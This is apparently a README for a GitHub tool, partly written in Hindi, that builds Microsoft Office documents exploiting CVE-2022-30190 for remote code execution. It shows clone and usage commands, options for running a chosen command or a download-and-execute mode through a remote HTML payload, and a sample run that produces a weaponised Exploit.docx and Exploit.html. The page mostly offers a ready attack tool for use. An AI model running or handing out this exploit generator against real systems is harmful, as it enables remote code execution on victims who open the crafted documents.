joshuavanderpoll/cve-2022-30190पायथन स्क्रिप्ट जो Microsoft Office दस्तावेज़ उत्पन्न करती है, जो HTML पेलोड के माध्यम से दूरस्थ कोड निष्पादन के लिए CVE-2022-30190 का शोषण करती है, जिसमें कस्टम कमांड और डाउनलोड-और-निष्पादन मोड का समर्थन शामिल है।
यह स्क्रिप्ट एक Microsoft Office दस्तावेज़ बनाने का प्रयास करेगी जो दूरस्थ रूप से कोड निष्पादित करेगा।
git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git
cd CVE-2022-30190
python3 CVE-2022-30190.py --help
usage: CVE-2022-30190.py [-h] [--html HTML] [--cmd CMD] [--downexec]
[--download_url DOWNLOAD_URL]
Generate CVE-2022-30190 Word documents.
optional arguments:
-h, --help show this help message and exit
--html HTML URL to online exploit HTML file
--cmd CMD Command you want to execute on run
--downexec Enable download and execute mode
--download_url DOWNLOAD_URL
Source where to download and execute from
$ python3 CVE-2022-30190.py --doc="Original.docx" --html="http://localhost/Exploit.html" --cmd="start https://github.com/joshuavanderpoll"
[@] Starting CVE-2022-30190 Generator...
[•] Created by https://github.com/joshuavanderpoll
[•] Using Word document: Original.docx
[•] Deflating Word document...
[•] Deflated Word document.
[√] Exploited Word document saved in "./builds/Exploit.docx" (1109 bytes).
[√] Exploit HTML file saved in "./builds/Exploit.html" (4241 bytes).